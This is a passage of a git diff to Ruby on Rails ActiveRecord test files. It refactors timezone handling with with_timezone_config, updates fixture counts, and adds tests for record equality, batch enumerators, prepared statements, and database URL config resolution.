assert_equal 223300, Topic.find(1).written_on.usec
assert_equal 9900, Topic.find(2).written_on.usec
@@ -231,7 +222,7 @@ class BasicsTest < ActiveRecord::TestCase
def test_preserving_time_objects_with_local_time_conversion_to_default_timezone_utc
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :utc do
+ with_timezone_config default: :utc do
time = Time.local(2000)
topic = Topic.create('written_on' => time)
saved_time = Topic.find(topic.id).reload.written_on
@@ -244,7 +235,7 @@ class BasicsTest < ActiveRecord::TestCase
def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_utc
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :utc do
+ with_timezone_config default: :utc do
Time.use_zone 'Central Time (US & Canada)' do
time = Time.zone.local(2000)
topic = Topic.create('written_on' => time)
@@ -259,18 +250,20 @@ class BasicsTest < ActiveRecord::TestCase
def test_preserving_time_objects_with_utc_time_conversion_to_default_timezone_local
with_env_tz 'America/New_York' do
- time = Time.utc(2000)
- topic = Topic.create('written_on' => time)
- saved_time = Topic.find(topic.id).reload.written_on
- assert_equal time, saved_time
- assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "UTC"], time.to_a
- assert_equal [0, 0, 19, 31, 12, 1999, 5, 365, false, "EST"], saved_time.to_a
+ with_timezone_config default: :local do
+ time = Time.utc(2000)
+ topic = Topic.create('written_on' => time)
+ saved_time = Topic.find(topic.id).reload.written_on
+ assert_equal time, saved_time
+ assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "UTC"], time.to_a
+ assert_equal [0, 0, 19, 31, 12, 1999, 5, 365, false, "EST"], saved_time.to_a
+ end
end
end
def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_local
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :local do
+ with_timezone_config default: :local do
Time.use_zone 'Central Time (US & Canada)' do
time = Time.zone.local(2000)
topic = Topic.create('written_on' => time)
@@ -328,7 +321,7 @@ class BasicsTest < ActiveRecord::TestCase
def test_load
topics = Topic.all.merge!(:order => 'id').to_a
- assert_equal(4, topics.size)
+ assert_equal(5, topics.size)
assert_equal(topics(:first).title, topics.first.title)
end
@@ -490,25 +483,25 @@ class BasicsTest < ActiveRecord::TestCase
# Oracle, and Sybase do not have a TIME datatype.
unless current_adapter?(:OracleAdapter, :SybaseAdapter)
def test_utc_as_time_zone
- Topic.default_timezone = :utc
- attributes = { "bonus_time" => "5:42:00AM" }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
- Topic.default_timezone = :local
+ with_timezone_config default: :utc do
+ attributes = { "bonus_time" => "5:42:00AM" }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
+ end
end
def test_utc_as_time_zone_and_new
- Topic.default_timezone = :utc
- attributes = { "bonus_time(1i)"=>"2000",
- "bonus_time(2i)"=>"1",
- "bonus_time(3i)"=>"1",
- "bonus_time(4i)"=>"10",
- "bonus_time(5i)"=>"35",
- "bonus_time(6i)"=>"50" }
- topic = Topic.new(attributes)
- assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
- Topic.default_timezone = :local
+ with_timezone_config default: :utc do
+ attributes = { "bonus_time(1i)"=>"2000",
+ "bonus_time(2i)"=>"1",
+ "bonus_time(3i)"=>"1",
+ "bonus_time(4i)"=>"10",
+ "bonus_time(5i)"=>"35",
+ "bonus_time(6i)"=>"50" }
+ topic = Topic.new(attributes)
+ assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
+ end
end
end
@@ -540,6 +533,7 @@ class BasicsTest < ActiveRecord::TestCase
def test_equality_of_new_records
assert_not_equal Topic.new, Topic.new
+ assert_equal false, Topic.new == Topic.new
end
def test_equality_of_destroyed_records
@@ -551,23 +545,94 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal topic_2, topic_1
end
+ def test_equality_with_blank_ids
+ one = Subscriber.new(:id => '')
+ two = Subscriber.new(:id => '')
+ assert_equal one, two
+ end
+
+ def test_equality_of_relation_and_collection_proxy
+ car = Car.create!
+ car.bulbs.build
+ car.save
+
+ assert car.bulbs == Bulb.where(car_id: car.id), 'CollectionProxy should be comparable with Relation'
+ assert Bulb.where(car_id: car.id) == car.bulbs, 'Relation should be comparable with CollectionProxy'
+ end
+
+ def test_equality_of_relation_and_array
+ car = Car.create!
+ car.bulbs.build
+ car.save
+
+ assert Bulb.where(car_id: car.id) == car.bulbs.to_a, 'Relation should be comparable with Array'
+ end
+
+ def test_equality_of_relation_and_association_relation
+ car = Car.create!
+ car.bulbs.build
+ car.save
+
+ assert_equal Bulb.where(car_id: car.id), car.bulbs.includes(:car), 'Relation should be comparable with AssociationRelation'
+ assert_equal car.bulbs.includes(:car), Bulb.where(car_id: car.id), 'AssociationRelation should be comparable with Relation'
+ end
+
+ def test_equality_of_collection_proxy_and_association_relation
+ car = Car.create!
+ car.bulbs.build
+ car.save
+
+ assert_equal car.bulbs, car.bulbs.includes(:car), 'CollectionProxy should be comparable with AssociationRelation'
+ assert_equal car.bulbs.includes(:car), car.bulbs, 'AssociationRelation should be comparable with CollectionProxy'
+ end
+
def test_hashing
assert_equal [ Topic.find(1) ], [ Topic.find(2).topic ] & [ Topic.find(1) ]
end
- def test_comparison
+ def test_successful_comparison_of_like_class_records
topic_1 = Topic.create!
topic_2 = Topic.create!
assert_equal [topic_2, topic_1].sort, [topic_1, topic_2]
end
+ def test_failed_comparison_of_unlike_class_records
+ assert_raises ArgumentError do
+ [ topics(:first), posts(:welcome) ].sort
+ end
+ end
+
+ def test_create_without_prepared_statement
+ topic = Topic.connection.unprepared_statement do
+ Topic.create(:title => 'foo')
+ end
+
+ assert_equal topic, Topic.find(topic.id)
+ end
+
+ def test_destroy_without_prepared_statement
+ topic = Topic.create(title: 'foo')
+ Topic.connection.unprepared_statement do
+ Topic.find(topic.id).destroy
+ end
+
+ assert_equal nil, Topic.find_by_id(topic.id)
+ end
+
def test_comparison_with_different_objects
topic = Topic.create
category = Category.create(:name => "comparison")
assert_nil topic <=> category
end
+ def test_comparison_with_different_objects_in_array
+ topic = Topic.create
+ assert_raises(ArgumentError) do
+ [1, topic].sort
+ end
+ end
+
def test_readonly_attributes
assert_equal Set.new([ 'title' , 'comments_count' ]), ReadonlyTitlePost.readonly_attributes
@@ -581,6 +646,26 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal "changed", post.body
end
+ def test_unicode_column_name
+ Weird.reset_column_information
+ weird = Weird.create(:なまえ => 'たこ焼き仮面')
+ assert_equal 'たこ焼き仮面', weird.なまえ
+ end
+
+ unless current_adapter?(:PostgreSQLAdapter)
+ def test_respect_internal_encoding
+ old_default_internal = Encoding.default_internal
+ silence_warnings { Encoding.default_internal = "EUC-JP" }
+
+ Weird.reset_column_information
+
+ assert_equal ["EUC-JP"], Weird.columns.map {|c| c.name.encoding.name }.uniq
+ ensure
+ silence_warnings { Encoding.default_internal = old_default_internal }
+ Weird.reset_column_information
+ end
+ end
+
def test_non_valid_identifier_column_name
weird = Weird.create('a$b' => 'value')
weird.reload
@@ -603,12 +688,14 @@ class BasicsTest < ActiveRecord::TestCase
# Oracle, and Sybase do not have a TIME datatype.
return true if current_adapter?(:OracleAdapter, :SybaseAdapter)
- attributes = {
- "bonus_time" => "5:42:00AM"
- }
- topic = Topic.find(1)
- topic.attributes = attributes
- assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
+ with_timezone_config default: :local do
+ attributes = {
+ "bonus_time" => "5:42:00AM"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
+ end
end
def test_attributes_on_dummy_time_with_invalid_time
@@ -796,19 +883,18 @@ class BasicsTest < ActiveRecord::TestCase
# TODO: extend defaults tests to other databases!
if current_adapter?(:PostgreSQLAdapter)
def test_default
- tz = Default.default_timezone
- Default.default_timezone = :local
- default = Default.new
- Default.default_timezone = tz
-
- # fixed dates / times
- assert_equal Date.new(2004, 1, 1), default.fixed_date
- assert_equal Time.local(2004, 1,1,0,0,0,0), default.fixed_time
-
- # char types
- assert_equal 'Y', default.char1
- assert_equal 'a varchar field', default.char2
- assert_equal 'a text field', default.char3
+ with_timezone_config default: :local do
+ default = Default.new
+
+ # fixed dates / times
+ assert_equal Date.new(2004, 1, 1), default.fixed_date
+ assert_equal Time.local(2004, 1,1,0,0,0,0), default.fixed_time
+
+ # char types
+ assert_equal 'Y', default.char1
+ assert_equal 'a varchar field', default.char2
+ assert_equal 'a text field', default.char3
+ end
end
class Geometric < ActiveRecord::Base; end
@@ -1080,7 +1166,7 @@ class BasicsTest < ActiveRecord::TestCase
k = Class.new(ak)
k.table_name = "projects"
orig_name = k.sequence_name
- return skip "sequences not supported by db" unless orig_name
+ skip "sequences not supported by db" unless orig_name
assert_equal k.reset_sequence_name, orig_name
end
@@ -1252,9 +1338,11 @@ class BasicsTest < ActiveRecord::TestCase
end
def test_compute_type_nonexistent_constant
- assert_raises NameError do
+ e = assert_raises NameError do
ActiveRecord::Base.send :compute_type, 'NonexistentModel'
end
+ assert_equal 'uninitialized constant ActiveRecord::Base::NonexistentModel', e.message
+ assert_equal 'ActiveRecord::Base::NonexistentModel', e.name
end
def test_compute_type_no_method_error
@@ -1316,6 +1404,37 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal 1, post.comments.length
end
+ if Process.respond_to?(:fork) && !in_memory_db?
+ def test_marshal_between_processes
+ # Define a new model to ensure there are no caches
+ if self.class.const_defined?("Post", false)
+ flunk "there should be no post constant"
+ end
+
+ self.class.const_set("Post", Class.new(ActiveRecord::Base) {
+ has_many :comments
+ })
+
+ rd, wr = IO.pipe
+ rd.binmode
+ wr.binmode
+
+ ActiveRecord::Base.connection_handler.clear_all_connections!
+
+ fork do
+ rd.close
+ post = Post.new
+ post.comments.build
+ wr.write Marshal.dump(post)
+ wr.close
+ end
+
+ wr.close
+ assert Marshal.load rd.read
+ rd.close
+ end
+ end
+
def test_marshalling_new_record_round_trip_with_associations
post = Post.new
post.comments.build
@@ -1458,21 +1577,20 @@ class BasicsTest < ActiveRecord::TestCase
orig_handler = klass.connection_handler
new_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
after_handler = nil
- is_set = false
+ latch1 = ActiveSupport::Concurrency::Latch.new
+ latch2 = ActiveSupport::Concurrency::Latch.new
t = Thread.new do
klass.connection_handler = new_handler
- is_set = true
- Thread.stop
+ latch1.release
+ latch2.await
after_handler = klass.connection_handler
end
- while(!is_set)
- Thread.pass
- end
+ latch1.await
klass.connection_handler = orig_handler
- t.wakeup
+ latch2.release
t.join
assert_equal after_handler, new_handler
diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb
index 1d6676da1c..c12fa03015 100644
--- a/activerecord/test/cases/batches_test.rb
+++ b/activerecord/test/cases/batches_test.rb
@@ -35,6 +35,14 @@ class EachTest < ActiveRecord::TestCase
end
end
+ if Enumerator.method_defined? :size
+ def test_each_should_return_a_sized_enumerator
+ assert_equal 11, Post.find_each(:batch_size => 1).size
+ assert_equal 5, Post.find_each(:batch_size => 2, :start => 7).size
+ assert_equal 11, Post.find_each(:batch_size => 10_000).size
+ end
+ end
+
def test_each_enumerator_should_execute_one_query_per_batch
assert_queries(@total + 1) do
Post.find_each(:batch_size => 1).with_index do |post, index|
@@ -46,7 +54,9 @@ class EachTest < ActiveRecord::TestCase
def test_each_should_raise_if_select_is_set_without_id
assert_raise(RuntimeError) do
- Post.select(:title).find_each(:batch_size => 1) { |post| post }
+ Post.select(:title).find_each(batch_size: 1) { |post|
+ flunk "should not call this block"
+ }
end
end
@@ -68,6 +78,16 @@ class EachTest < ActiveRecord::TestCase
Post.order("title").find_each { |post| post }
end
+ def test_logger_not_required
+ previous_logger = ActiveRecord::Base.logger
+ ActiveRecord::Base.logger = nil
+ assert_nothing_raised do
+ Post.limit(1).find_each { |post| post }
+ end
+ ensure
+ ActiveRecord::Base.logger = previous_logger
+ end
+
def test_find_in_batches_should_return_batches
assert_queries(@total + 1) do
Post.find_in_batches(:batch_size => 1) do |batch|
@@ -141,6 +161,12 @@ class EachTest < ActiveRecord::TestCase
assert_equal special_posts_ids, posts.map(&:id)
end
+ def test_find_in_batches_should_not_modify_passed_options
+ assert_nothing_raised do
+ Post.find_in_batches({ batch_size: 42, start: 1 }.freeze){}
+ end
+ end
+
def test_find_in_batches_should_use_any_column_as_primary_key
nick_order_subscribers = Subscriber.order('nick asc')
start_nick = nick_order_subscribers.second.nick
@@ -160,4 +186,27 @@ class EachTest < ActiveRecord::TestCase
end
end
end
+
+ def test_find_in_batches_should_return_an_enumerator
+ enum = nil
+ assert_queries(0) do
+ enum = Post.find_in_batches(:batch_size => 1)
+ end
+ assert_queries(4) do
+ enum.first(4) do |batch|
+ assert_kind_of Array, batch
+ assert_kind_of Post, batch.first
+ end
+ end
+ end
+
+ if Enumerator.method_defined? :size
+ def test_find_in_batches_should_return_a_sized_enumerator
+ assert_equal 11, Post.find_in_batches(:batch_size => 1).size
+ assert_equal 6, Post.find_in_batches(:batch_size => 2).size
+ assert_equal 4, Post.find_in_batches(:batch_size => 2, :start => 4).size
+ assert_equal 4, Post.find_in_batches(:batch_size => 3).size
+ assert_equal 1, Post.find_in_batches(:batch_size => 10_000).size
+ end
+ end
end
diff --git a/activerecord/test/cases/bind_parameter_test.rb b/activerecord/test/cases/bind_parameter_test.rb
index 03aa9fdb27..40f73cd68c 100644
--- a/activerecord/test/cases/bind_parameter_test.rb
+++ b/activerecord/test/cases/bind_parameter_test.rb
@@ -20,49 +20,59 @@ module ActiveRecord
def setup
super
@connection = ActiveRecord::Base.connection
- @listener = LogListener.new
+ @subscriber = LogListener.new
@pk = Topic.columns.find { |c| c.primary }
- ActiveSupport::Notifications.subscribe('sql.active_record', @listener)
-
- skip_if_prepared_statement_caching_is_not_supported
+ @subscription = ActiveSupport::Notifications.subscribe('sql.active_record', @subscriber)
end
- def teardown
- ActiveSupport::Notifications.unsubscribe(@listener)
+ teardown do
+ ActiveSupport::Notifications.unsubscribe(@subscription)
end
- def test_binds_are_logged
- sub = @connection.substitute_at(@pk, 0)
- binds = [[@pk, 1]]
- sql = "select * from topics where id = #{sub}"
+ if ActiveRecord::Base.connection.supports_statement_cache?
+ def test_binds_are_logged
+ sub = @connection.substitute_at(@pk, 0)
+ binds = [[@pk, 1]]
+ sql = "select * from topics where id = #{sub}"
- @connection.exec_query(sql, 'SQL', binds)
+ @connection.exec_query(sql, 'SQL', binds)
- message = @listener.calls.find { |args| args[4][:sql] == sql }
- assert_equal binds, message[4][:binds]
- end
+ message = @subscriber.calls.find { |args| args[4][:sql] == sql }
+ assert_equal binds, message[4][:binds]
+ end
- def test_find_one_uses_binds
- Topic.find(1)
- binds = [[@pk, 1]]
- message = @listener.calls.find { |args| args[4][:binds] == binds }
- assert message, 'expected a message with binds'
- end
+ def test_binds_are_logged_after_type_cast
+ sub = @connection.substitute_at(@pk, 0)
+ binds = [[@pk, "3"]]
+ sql = "select * from topics where id = #{sub}"
- def test_logs_bind_vars
- pk = Topic.columns.find { |x| x.primary }
-
- payload = {
- :name => 'SQL',
- :sql => 'select * from topics where id = ?',
- :binds => [[pk, 10]]
- }
- event = ActiveSupport::Notifications::Event.new(
- 'foo',
- Time.now,
- Time.now,
- 123,
- payload)
+ @connection.exec_query(sql, 'SQL', binds)
+
+ message = @subscriber.calls.find { |args| args[4][:sql] == sql }
+ assert_equal [[@pk, 3]], message[4][:binds]
+ end
+
+ def test_find_one_uses_binds
+ Topic.find(1)
+ binds = [[@pk, 1]]
+ message = @subscriber.calls.find { |args| args[4][:binds] == binds }
+ assert message, 'expected a message with binds'
+ end
+
+ def test_logs_bind_vars
+ pk = Topic.columns.find { |x| x.primary }
+
+ payload = {
+ :name => 'SQL',
+ :sql => 'select * from topics where id = ?',
+ :binds => [[pk, 10]]
+ }
+ event = ActiveSupport::Notifications::Event.new(
+ 'foo',
+ Time.now,
+ Time.now,
+ 123,
+ payload)
logger = Class.new(ActiveRecord::LogSubscriber) {
attr_reader :debugs
@@ -78,12 +88,7 @@ module ActiveRecord
logger.sql event
assert_match([[pk.name, 10]].inspect, logger.debugs.first)
- end
-
- private
-
- def skip_if_prepared_statement_caching_is_not_supported
- skip('prepared statement caching is not supported') unless @connection.supports_statement_cache?
+ end
end
end
end
diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb
index 0f3f9aecfc..b8de78934e 100644
--- a/activerecord/test/cases/calculations_test.rb
+++ b/activerecord/test/cases/calculations_test.rb
@@ -172,7 +172,7 @@ class CalculationsTest < ActiveRecord::TestCase
Account.select("credit_limit, firm_name").count
}
- assert_match "accounts", e.message
+ assert_match %r{accounts}i, e.message
assert_match "credit_limit, firm_name", e.message
end
@@ -211,6 +211,10 @@ class CalculationsTest < ActiveRecord::TestCase
assert_equal 19.83, NumericData.sum(:bank_balance)
end
+ def test_should_return_type_casted_values_with_group_and_expression
+ assert_equal 0.5, Account.group(:firm_name).sum('0.01 * credit_limit')['37signals']
+ end
+
def test_should_group_by_summed_field_with_conditions
c = Account.where('firm_id > 1').group(:firm_id).sum(:credit_limit)
assert_nil c[1]
@@ -274,7 +278,7 @@ class CalculationsTest < ActiveRecord::TestCase
c = Company.group("UPPER(#{QUOTED_TYPE})").count(:all)
assert_equal 2, c[nil]
assert_equal 1, c['DEPENDENTFIRM']
- assert_equal 4, c['CLIENT']
+ assert_equal 5, c['CLIENT']
assert_equal 2, c['FIRM']
end
@@ -282,7 +286,7 @@ class CalculationsTest < ActiveRecord::TestCase
c = Company.group("UPPER(companies.#{QUOTED_TYPE})").count(:all)
assert_equal 2, c[nil]
assert_equal 1, c['DEPENDENTFIRM']
- assert_equal 4, c['CLIENT']
+ assert_equal 5, c['CLIENT']
assert_equal 2, c['FIRM']
end
@@ -351,16 +355,6 @@ class CalculationsTest < ActiveRecord::TestCase
assert_equal 5, Account.count(:firm_id)
end
- def test_count_distinct_option_is_deprecated
- assert_deprecated do
- assert_equal 4, Account.select(:credit_limit).count(distinct: true)
- end
-
- assert_deprecated do
- assert_equal 6, Account.select(:credit_limit).count(distinct: false)
- end
- end
-
def test_count_with_distinct
assert_equal 4, Account.select(:credit_limit).distinct.count
assert_equal 4, Account.select(:credit_limit).uniq.count
@@ -393,6 +387,20 @@ class CalculationsTest < ActiveRecord::TestCase
assert_raise(ArgumentError) { Account.count(1, 2, 3) }
end
+ def test_count_with_order
+ assert_equal 6, Account.order(:credit_limit).count
+ end
+
+ def test_count_with_reverse_order
+ assert_equal 6, Account.order(:credit_limit).reverse_order.count
+ end
+
+ def test_count_with_where_and_order
+ assert_equal 1, Account.where(firm_name: '37signals').count
+ assert_equal 1, Account.where(firm_name: '37signals').order(:firm_name).count
+ assert_equal 1, Account.where(firm_name: '37signals').order(:firm_name).reverse_order.count
+ end
+
def test_should_sum_expression
# Oracle adapter returns floating point value 636.0 after SUM
if current_adapter?(:OracleAdapter)
@@ -472,14 +480,14 @@ class CalculationsTest < ActiveRecord::TestCase
def test_distinct_is_honored_when_used_with_count_operation_after_group
# Count the number of authors for approved topics
approved_topics_count = Topic.group(:approved).count(:author_name)[true]
- assert_equal approved_topics_count, 3
+ assert_equal approved_topics_count, 4
# Count the number of distinct authors for approved Topics
distinct_authors_for_approved_count = Topic.group(:approved).distinct.count(:author_name)[true]
- assert_equal distinct_authors_for_approved_count, 2
+ assert_equal distinct_authors_for_approved_count, 3
end
def test_pluck
- assert_equal [1,2,3,4], Topic.order(:id).pluck(:id)
+ assert_equal [1,2,3,4,5], Topic.order(:id).pluck(:id)
end
def test_pluck_without_column_names
@@ -515,7 +523,7 @@ class CalculationsTest < ActiveRecord::TestCase
end
def test_pluck_with_qualified_column_name
- assert_equal [1,2,3,4], Topic.order(:id).pluck("topics.id")
+ assert_equal [1,2,3,4,5], Topic.order(:id).pluck("topics.id")
end
def test_pluck_auto_table_name_prefix
@@ -563,11 +571,13 @@ class CalculationsTest < ActiveRecord::TestCase
def test_pluck_multiple_columns
assert_equal [
[1, "The First Topic"], [2, "The Second Topic of the day"],
- [3, "The Third Topic of the day"], [4, "The Fourth Topic of the day"]
+ [3, "The Third Topic of the day"], [4, "The Fourth Topic of the day"],
+ [5, "The Fifth Topic of the day"]
], Topic.order(:id).pluck(:id, :title)
assert_equal [
[1, "The First Topic", "David"], [2, "The Second Topic of the day", "Mary"],
- [3, "The Third Topic of the day", "Carl"], [4, "The Fourth Topic of the day", "Carl"]
+ [3, "The Third Topic of the day", "Carl"], [4, "The Fourth Topic of the day", "Carl"],
+ [5, "The Fifth Topic of the day", "Jason"]
], Topic.order(:id).pluck(:id, :title, :author_name)
end
@@ -593,7 +603,7 @@ class CalculationsTest < ActiveRecord::TestCase
def test_pluck_replaces_select_clause
taks_relation = Topic.select(:approved, :id).order(:id)
- assert_equal [1,2,3,4], taks_relation.pluck(:id)
- assert_equal [false, true, true, true], taks_relation.pluck(:approved)
+ assert_equal [1,2,3,4,5], taks_relation.pluck(:id)
+ assert_equal [false, true, true, true, true], taks_relation.pluck(:approved)
end
end
diff --git a/activerecord/test/cases/column_definition_test.rb b/activerecord/test/cases/column_definition_test.rb
index dbb2f223cd..c1dd1f1c69 100644
--- a/activerecord/test/cases/column_definition_test.rb
+++ b/activerecord/test/cases/column_definition_test.rb
@@ -82,7 +82,7 @@ module ActiveRecord
assert_equal "", not_null_text_column.default
end
- def test_has_default_should_return_false_for_blog_and_test_data_types
+ def test_has_default_should_return_false_for_blob_and_text_data_types
blob_column = MysqlAdapter::Column.new("title", nil, "blob")
assert !blob_column.has_default?
@@ -116,7 +116,7 @@ module ActiveRecord
assert_equal "", not_null_text_column.default
end
- def test_has_default_should_return_false_for_blog_and_test_data_types
+ def test_has_default_should_return_false_for_blob_and_text_data_types
blob_column = Mysql2Adapter::Column.new("title", nil, "blob")
assert !blob_column.has_default?
@@ -127,13 +127,13 @@ module ActiveRecord
if current_adapter?(:PostgreSQLAdapter)
def test_bigint_column_should_map_to_integer
- oid = PostgreSQLAdapter::OID::Identity.new
+ oid = PostgreSQLAdapter::OID::Integer.new
bigint_column = PostgreSQLColumn.new('number', nil, oid, "bigint")
assert_equal :integer, bigint_column.type
end
def test_smallint_column_should_map_to_integer
- oid = PostgreSQLAdapter::OID::Identity.new
+ oid = PostgreSQLAdapter::OID::Integer.new
smallint_column = PostgreSQLColumn.new('number', nil, oid, "smallint")
assert_equal :integer, smallint_column.type
end
diff --git a/activerecord/test/cases/column_test.rb b/activerecord/test/cases/column_test.rb
index 3a4f414ae8..2a6d8cc2ab 100644
--- a/activerecord/test/cases/column_test.rb
+++ b/activerecord/test/cases/column_test.rb
@@ -110,6 +110,14 @@ module ActiveRecord
assert_equal 1800, column.type_cast(30.minutes)
assert_equal 7200, column.type_cast(2.hours)
end
+
+ def test_string_to_time_with_timezone
+ [:utc, :local].each do |zone|
+ with_timezone_config default: zone do
+ assert_equal Time.utc(2013, 9, 4, 0, 0, 0), Column.string_to_time("Wed, 04 Sep 2013 03:00:00 EAT")
+ end
+ end
+ end
end
end
end
diff --git a/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb b/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb
deleted file mode 100644
index eb2fe5639b..0000000000
--- a/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb
+++ /dev/null
@@ -1,62 +0,0 @@
-require "cases/helper"
-
-module ActiveRecord
- module ConnectionAdapters
- class ConnectionPool
- def insert_connection_for_test!(c)
- synchronize do
- @connections << c
- @available.add c
- end
- end
- end
-
- class AbstractAdapterTest < ActiveRecord::TestCase
- attr_reader :adapter
-
- def setup
- @adapter = AbstractAdapter.new nil, nil
- end
-
- def test_in_use?
- assert_not adapter.in_use?, 'adapter is not in use'
- assert adapter.lease, 'lease adapter'
- assert adapter.in_use?, 'adapter is in use'
- end
-
- def test_lease_twice
- assert adapter.lease, 'should lease adapter'
- assert_not adapter.lease, 'should not lease adapter'
- end
-
- def test_last_use
- assert_not adapter.last_use
- adapter.lease
- assert adapter.last_use
- end
-
- def test_expire_mutates_in_use
- assert adapter.lease, 'lease adapter'
- assert adapter.in_use?, 'adapter is in use'
- adapter.expire
- assert_not adapter.in_use?, 'adapter is in use'
- end
-
- def test_close
- pool = ConnectionPool.new(ConnectionSpecification.new({}, nil))
- pool.insert_connection_for_test! adapter
- adapter.pool = pool
-
- # Make sure the pool marks the connection in use
- assert_equal adapter, pool.connection
- assert adapter.in_use?
-
- # Close should put the adapter back in the pool
- adapter.close
- assert_not adapter.in_use?
-
- assert_equal adapter, pool.connection
- end
- end
- end
-end
diff --git a/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb b/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb
new file mode 100644
index 0000000000..662e19f35e
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb
@@ -0,0 +1,54 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class AdapterLeasingTest < ActiveRecord::TestCase
+ class Pool < ConnectionPool
+ def insert_connection_for_test!(c)
+ synchronize do
+ @connections << c
+ @available.add c
+ end
+ end
+ end
+
+ def setup
+ @adapter = AbstractAdapter.new nil, nil
+ end
+
+ def test_in_use?
+ assert_not @adapter.in_use?, 'adapter is not in use'
+ assert @adapter.lease, 'lease adapter'
+ assert @adapter.in_use?, 'adapter is in use'
+ end
+
+ def test_lease_twice
+ assert @adapter.lease, 'should lease adapter'
+ assert_not @adapter.lease, 'should not lease adapter'
+ end
+
+ def test_expire_mutates_in_use
+ assert @adapter.lease, 'lease adapter'
+ assert @adapter.in_use?, 'adapter is in use'
+ @adapter.expire
+ assert_not @adapter.in_use?, 'adapter is in use'
+ end
+
+ def test_close
+ pool = Pool.new(ConnectionSpecification.new({}, nil))
+ pool.insert_connection_for_test! @adapter
+ @adapter.pool = pool
+
+ # Make sure the pool marks the connection in use
+ assert_equal @adapter, pool.connection
+ assert @adapter.in_use?
+
+ # Close should put the adapter back in the pool
+ @adapter.close
+ assert_not @adapter.in_use?
+
+ assert_equal @adapter, pool.connection
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb b/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb
new file mode 100644
index 0000000000..da852aaa02
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb
@@ -0,0 +1,192 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class MergeAndResolveDefaultUrlConfigTest < ActiveRecord::TestCase
+ def setup
+ @previous_database_url = ENV.delete("DATABASE_URL")
+ end
+
+ teardown do
+ ENV["DATABASE_URL"] = @previous_database_url
+ end
+
+ def resolve_config(config)
+ ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig.new(config).resolve
+ end
+
+ def resolve_spec(spec, config)
+ ConnectionSpecification::Resolver.new(resolve_config(config)).resolve(spec)
+ end
+
+ def test_resolver_with_database_uri_and_current_env_symbol_key
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ config = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+ actual = resolve_spec(:default_env, config)
+ expected = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_resolver_with_database_uri_and_and_current_env_string_key
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ config = { "default_env" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+ actual = assert_deprecated { resolve_spec("default_env", config) }
+ expected = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_resolver_with_database_uri_and_known_key
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ config = { "production" => { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost" } }
+ actual = resolve_spec(:production, config)
+ expected = { "adapter"=>"not_postgres", "database"=>"not_foo", "host"=>"localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_resolver_with_database_uri_and_unknown_symbol_key
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ config = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+ assert_raises AdapterNotSpecified do
+ resolve_spec(:production, config)
+ end
+ end
+
+ def test_resolver_with_database_uri_and_unknown_string_key
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ config = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+ assert_deprecated do
+ assert_raises AdapterNotSpecified do
+ resolve_spec("production", config)
+ end
+ end
+ end
+
+ def test_resolver_with_database_uri_and_supplied_url
+ ENV['DATABASE_URL'] = "not-postgres://not-localhost/not_foo"
+ config = { "production" => { "adapter" => "also_not_postgres", "database" => "also_not_foo" } }
+ actual = resolve_spec("postgres://localhost/foo", config)
+ expected = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_jdbc_url
+ config = { "production" => { "url" => "jdbc:postgres://localhost/foo" } }
+ actual = resolve_config(config)
+ assert_equal config, actual
+ end
+
+ def test_environment_does_not_exist_in_config_url_does_exist
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ config = { "not_default_env" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+ actual = resolve_config(config)
+ expect_prod = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+ assert_equal expect_prod, actual["default_env"]
+ end
+
